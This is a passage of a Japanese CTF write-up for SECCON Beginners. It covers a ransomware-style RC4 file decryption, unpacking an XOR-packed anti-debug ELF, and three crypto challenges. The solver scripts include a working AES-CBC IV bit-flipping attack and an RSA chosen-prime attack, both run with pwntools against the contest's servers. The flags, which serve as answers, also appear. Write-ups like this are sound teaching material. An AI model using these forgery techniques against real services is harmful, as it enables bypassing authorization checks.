配布ファイルとして、バイナリ、暗号化されたらしい16進数文字列のファイル、通信内容を表すpcapがありました:
$ file * ctf4b_super_secret.txt.lock: ASCII text, with no line terminators ransom: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6b51e7e12cc52ef6c52f761e7f831a4d645b3ca4, for GNU/Linux 3.2.0, stripped tcpdump.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144) $ cat ctf4b_super_secret.txt.lock \x2b\xa9\xf3\x6f\xa2\x2e\xcd\xf3\x78\xcc\xb7\xa0\xde\x6d\xb1\xd4\x24\x3c\x8a\x89\xa3\xce\xab\x30\x7f\xc2\xb9\x0c\xb9\xf4\xe7\xda\x25\xcd\xfc\x4e\xc7\x9e\x7e\x43\x2b\x3b\xdc\x09\x80\x96\x95\xf6\x76\x10 $
pcap内容を見るとrgUAvvyfyApNPEYg\x00
を送信していました。何かの鍵だろうと想像しました。
IDAでバイナリを見ると、特徴的なSBoxの初期化処理やSwap処理からRC4で暗号化しているらしいことがわかりました:
// 64-bitプログラムなのでFree版IDAでもCloud-Basedの逆コンパイルができます // .text:0000000000001381 __int64 __fastcall Rc4Initialize(const char *pStrKey, BYTE *pByteSBoxSize256) { int j; // [rsp+10h] [rbp-10h] int dwIndexForInitialize; // [rsp+14h] [rbp-Ch] int i; // [rsp+18h] [rbp-8h] int dwKeyLength; // [rsp+1Ch] [rbp-4h] dwKeyLength = strlen(pStrKey); j = 0; for ( dwIndexForInitialize = 0; dwIndexForInitialize <= 255; ++dwIndexForInitialize ) pByteSBoxSize256[dwIndexForInitialize] = dwIndexForInitialize; for ( i = 0; i <= 255; ++i ) { j = (pByteSBoxSize256[i] + j + pStrKey[i % dwKeyLength]) % 256; SwapByte(&pByteSBoxSize256[i], &pByteSBoxSize256[j]); } return 0LL; } // .text:000000000000145E __int64 __fastcall Rc4Encrypt(BYTE *pSBox, const char *pStrSrc, const BYTE *pDest) { int i; // [rsp+24h] [rbp-1Ch] int j; // [rsp+28h] [rbp-18h] size_t dwIndex; // [rsp+30h] [rbp-10h] size_t dwStrLength; // [rsp+38h] [rbp-8h] i = 0; j = 0; dwIndex = 0LL; dwStrLength = strlen(pStrSrc); while ( dwIndex < dwStrLength ) { i = (i + 1) % 256; j = (j + pSBox[i]) % 256; SwapByte(&pSBox[i], &pSBox[j]); pDest[dwIndex] = pSBox[(unsigned __int8)(pSBox[i] + pSBox[j])] ^ pStrSrc[dwIndex]; ++dwIndex; } return 0LL; }
分かったことをもとに、元のファイル内容を復号するソルバーを書きました:
#!/usr/bin/env python3 import ast from Crypto.Cipher import ARC4 rc4_key = b"rgUAvvyfyApNPEYg" # ファイル内容は「\x2b」等の16進数文字列表記 with open("ctf4b_super_secret.txt.lock", "r") as f: encrypted = ast.literal_eval('b"' + f.read() + '"') cipher = ARC4.new(rc4_key) print(cipher.decrypt(encrypted).decode())
実行しました:
$ ./solve.py ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1} $
フラグを入手できました: ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}
[reversing, hard] please_not_debug_me (48 team solved, 138 pt)
バグも無いのにデバッグしないでください!!! please_not_debug_me.tar.gz cbc97b02829afc9923e53eced64d49d81ae51906
配布ファイルとしてバイナリがありました:
$ file * please_not_debug_me: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a5e6add6154cff639b6f73f26626298af5bab69e, for GNU/Linux 3.2.0, not stripped $
IDAで見ると、メモリ中でバイナリを1バイトXORで復号して実行しているようでした:
// 64-bitプログラムなのでFree版IDAでもCloud-Basedの逆コンパイルができます int __cdecl main(int argc, const char **argv, const char **envp) { unsigned int i; // [rsp+18h] [rbp-18h] int fd; // [rsp+1Ch] [rbp-14h] char *envpa[2]; // [rsp+20h] [rbp-10h] BYREF envpa[1] = (char *)__readfsqword(0x28u); fd = syscall(319LL, "bin", 0LL); if ( fd == -1 ) err(1, "Can't unpack"); for ( i = 0; i < (unsigned int)binary_len; ++i ) binary[i] ^= 0x16u; write(fd, binary, (unsigned int)binary_len); envpa[0] = 0LL; if ( fexecve(fd, (char *const *)argv, envpa) == -1 ) err(1, "Can't execute"); return 0; }
なお、Linux System Call Table for x86 64 · Ryan A. Chapmanによると、システムコール番号319はsys_memfd_create
とのことです。
復号する内容を別ファイルへ書き出すスクリプトを書きました:
#!/usr/bin/env python3 with open("please_not_debug_me", "rb") as f: elf_data = f.read() target = b"\x69\x53\x5A\x50\x14\x17\x17\x16\x16\x16\x16\x16\x16\x16\x16\x16" index = elf_data.index(target) packed_data = bytearray(elf_data[index:index+0x41A0]) for i in range(len(packed_data)): packed_data[i] ^= 0x16 with open("unpacked", "wb") as f: f.write(packed_data)
実行して復号しました:
$ ./unpack.py $ file unpacked unpacked: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers at 17536 $
復号結果をIDAで見ると、コマンドライン引数で与えられたファイルを読み込み、それを固定のRC4鍵で暗号化した結果が、想定したものになるかどうかを検証する内容でした。Why are you trying to debug when there are no bugs?
の文字列とともに、何かデバッガー検出をしている処理も多く見受けられましたが、静的解析なので問題ありません。分かったことをもとにフラグを復号するソルバーを書きました:
#!/usr/bin/env python3 from Crypto.Cipher import ARC4 # LOAD:0000000000004020 rc4_key_str = """ 62h, 31h, 34h, 62h, 65h, 37h, 60h, 32h, 69h, 3Ch, 68h 6Fh, 6Ah, 3Bh, 6Dh, 6Eh, 71h, 26h, 23h, 2Bh, 23h, 2Dh 21h, 24h, 2Ch, 2Fh, 2Fh, 78h, 79h, 24h, 29h, 2Fh, 44h 11h, 16h, 45h, 10h, 10h, 1Fh, 43h """ rc4_key = bytearray(map(lambda s: (int(s[:-1], 16)), rc4_key_str.strip().replace("\n", ", ").split(", "))) for i in range(len(rc4_key)): rc4_key[i] ^= i # LOAD:0000000000004060 encrypted_flag_str = """ 27h,0D9h, 65h, 3Ah, 0Fh, 25h,0E4h, 0Eh, 81h, 8Ah, 59h 0BCh, 33h,0FBh,0F9h,0FCh, 5,0C6h, 33h, 1,0E2h,0B0h 0BEh, 8Eh, 4Ah, 9Ch,0A9h, 46h, 73h,0B8h, 48h, 7Dh, 7Fh 73h, 22h,0ECh,0DBh,0DCh, 98h,0D9h, 90h, 61h, 80h, 7Ch 6Ch,0B3h, 36h, 42h, 3Fh, 90h, 44h, 85h, 0Dh, 95h,0B1h 0EEh,0FAh, 94h, 85h, 0Ch,0B9h, 9Fh, 0""" encrypted_flag = bytearray(map(lambda s: (int(s.rstrip("h"), 16)), encrypted_flag_str.strip().replace("\n", ",").split(","))) cipher = ARC4.new(rc4_key) print(cipher.decrypt(encrypted_flag))
実行しました:
$ ./solve.py b'ctf4b{D0_y0u_kn0w_0f_0th3r_w4y5_t0_d3t3ct_d36u991n9_1n_L1nux?}\xef' $
末尾によくわからないバイトがありますが、ともかくフラグを入手できました: ctf4b{D0_y0u_kn0w_0f_0th3r_w4y5_t0_d3t3ct_d36u991n9_1n_L1nux?}
[crypto, beginner] CoughingFox (443 team solved, 55 pt)
きつねさんが食べ物を探しているみたいです。 coughingfox.tar.gz c2cdda5cb20d25e40be57a72a949591b7172d143
配布ファイルとして、problem.py
とその出力がありました:
$ file * output.txt: ASCII text, with very long lines (343), with CRLF line terminators problem.py: Python script, ASCII text executable, with CRLF line terminators $ cat output.txt cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472] $
from random import shuffle flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}" cipher = [] for i in range(len(flag)): f = flag[i] c = (f + i)**2 + i cipher.append(c) shuffle(cipher) print("cipher =", cipher)
シャッフルされていますが、一意に復号できると信じてソルバーを書きました:
#!/usr/bin/env python3 cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472] flag = [None] * len(cipher) for i in range(len(cipher)): candidates = [] for current in cipher: for f in range(0x20, 0x7F): if (f + i)**2 + i == current: candidates.append(chr(f)) flag[i] = "".join(candidates) # import pprint # pprint.pprint(flag) print("".join(flag))
実行しました:
$ ./solve.py
ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}
$
フラグを入手できました: ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}
[crypto, easy] PrimeParty (58 team solved, 127 pt)
Primeパーティへようこそ!!! nc primeparty.quals.beginners.seccon.jp 1336 primeparty.tar.gz a7e6a3509109e47f2600a38cf81cd79559fd5eb7
配布ファイルとして、サーバー側プログラムserver.py
がありました:
from Crypto.Util.number import * from secret import flag from functools import reduce from operator import mul bits = 256 flag = bytes_to_long(flag.encode()) assert flag.bit_length() == 455 GUESTS = [] def invite(p): global GUESTS if isPrime(p): print("[*] We have been waiting for you!!! This way, please.") GUESTS.append(p) else: print("[*] I'm sorry... If you are not a Prime Number, you will not be allowed to join the party.") print("-*-*-*-*-*-*-*-*-*-*-*-*-") invite(getPrime(bits)) invite(getPrime(bits)) invite(getPrime(bits)) invite(getPrime(bits)) for i in range(3): print("[*] Do you want to invite more guests?") num = int(input(" > ")) invite(num) n = reduce(mul, GUESTS) e = 65537 cipher = pow(flag, e, n) print("n =", n) print("e =", e) print("cipher =", cipher)
4つの未知の256-bit素数と、任意の3つの素数でRSA暗号化した結果を出力するプログラムです。最初は「256-bit素数ならsagemathのfactor関数で素因数分解できるのでは」と考えて4時間放置していましたが、全然終わってくれませんでした。真っ当に考えると、別に2個の256-bit素数を与えて、それらでcipherの剰余を取れば、既知の内容だけになるので復号できそうです。この方針でソルバーを書きました:
#!/usr/bin/env python3 import Crypto.Util.number import pwn # pwn.context.log_level = "DEBUG" def solve(tube): p = Crypto.Util.number.getPrime(256) q = Crypto.Util.number.getPrime(256) tube.sendlineafter(b" > ", str(p).encode()) tube.sendlineafter(b" > ", str(q).encode()) tube.sendlineafter(b" > ", b"1") # 3個めは不要 tube.recvuntil(b"n =") n = int(tube.recvline().decode()) tube.recvuntil(b"e =") e = int(tube.recvline().decode()) tube.recvuntil(b"cipher =") cipher = int(tube.recvline().decode()) n = p*q cipher %= (p*q) d = pow(e, -1, (p-1)*(q-1)) m = pow(cipher, d, n) print(Crypto.Util.number.long_to_bytes(m).decode()) with pwn.remote("primeparty.quals.beginners.seccon.jp", 1336) as tube: solve(tube) # with pwn.process(["python3", "server.py"]) as tube: solve(tube)
実行しました:
$ ./solve.py [+] Opening connection to primeparty.quals.beginners.seccon.jp on port 1336: Done ctf4b{HopefullyWeCanFindSomeCommonGroundWithEachOther!!!} [*] Closed connection to primeparty.quals.beginners.seccon.jp port 1336 $
フラグを入手できました: ctf4b{HopefullyWeCanFindSomeCommonGroundWithEachOther!!!}
[crypto, easy] Command (88 team solved, 106 pt)
安全なコマンドだけが使えます nc command.quals.beginners.seccon.jp 5555 command.tar.gz 22409befa8e1c0451018ae063155a874a76480bc
配布ファイルとして、サーバー側プログラムchal.py
がありました:
from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from Crypto.Util.number import isPrime from secret import FLAG, key import os def main(): while True: print('----- Menu -----') print('1. Encrypt command') print('2. Execute encrypted command') print('3. Exit') select = int(input('> ')) if select == 1: encrypt() elif select == 2: execute() elif select == 3: break else: pass print() def encrypt(): print('Available commands: fizzbuzz, primes, getflag') cmd = input('> ').encode() if cmd not in [b'fizzbuzz', b'primes', b'getflag']: print('unknown command') return if b'getflag' in cmd: print('this command is for admin') return iv = os.urandom(16) cipher = AES.new(key, AES.MODE_CBC, iv) enc = cipher.encrypt(pad(cmd, 16)) print(f'Encrypted command: {(iv+enc).hex()}') def execute(): inp = bytes.fromhex(input('Encrypted command> ')) iv, enc = inp[:16], inp[16:] cipher = AES.new(key, AES.MODE_CBC, iv) try: cmd = unpad(cipher.decrypt(enc), 16) if cmd == b'fizzbuzz': fizzbuzz() elif cmd == b'primes': primes() elif cmd == b'getflag': getflag() except ValueError: pass def fizzbuzz(): for i in range(1, 101): if i % 15 == 0: print('FizzBuzz') elif i % 3 == 0: print('Fizz') elif i % 5 == 0: print('Buzz') else: print(i) def primes(): for i in range(1, 101): if isPrime(i): print(i) def getflag(): print(FLAG) if __name__ == '__main__': main()
6文字~8文字のコマンド名をpadして、AES-CBCで暗号化しています。明らかにIVと1ブロックのみの内容で、IVを改ざんすれば任意内容に復号させられます。とりあえずfizzbuzzで暗号化させるとすると、パディングは8個の0x08になります。これをgetflagsのパディングに変えるには、9個の0x09にする必要があります。この点に注意して、ソルバーを書きました:
#!/usr/bin/env python3 import pwn # pwn.context.log_level = "DEBUG" def solve(tube): tube.sendlineafter(b"> ", b"1") tube.sendlineafter(b"Available commands: fizzbuzz, primes, getflag", b"fizzbuzz") tube.recvuntil(b"Encrypted command: ") inp = bytes.fromhex(tube.recvlineS()) iv, enc = bytearray(inp[:16]), inp[16:] for (i, t) in enumerate(zip(b"fizzbuzz", b"getflag\x09")): iv[i] ^= t[0] ^ t[1] for i in range(8, 16): iv[i] ^= (0x08 ^ 0x09) tube.sendlineafter(b"> ", b"2") tube.sendlineafter(b"Encrypted command> ", (iv+enc).hex().encode()) print(tube.recvlineS()) tube.sendlineafter(b"> ", b"3") with pwn.remote("command.quals.beginners.seccon.jp", 5555) as tube: solve(tube) # with pwn.process(["python3", "./chal.py"]) as tube: solve(tube)
実行しました:
$ ./solve.py [+] Opening connection to command.quals.beginners.seccon.jp on port 5555: Done ctf4b{b1tfl1pfl4ppers} [*] Closed connection to command.quals.beginners.seccon.jp port 5555 $
フラグを入手できました: ctf4b{b1tfl1pfl4ppers}
感想
- Reversingジャンルを全て解けたので満足です。
- 想定難易度easyでも、非常に苦戦した問題や解けなかった問題がありました。まだまだ学べることがたくさんです。
- Rulesに
1 ~ 2 人チームで参加される場合は、競技時間内に着手・正答できる問題数が限られることが予想されます
とありますが、それなりに奮闘できたと思います。これ以上時間があっても解けた問題を増やせたかというと怪しいと思いました。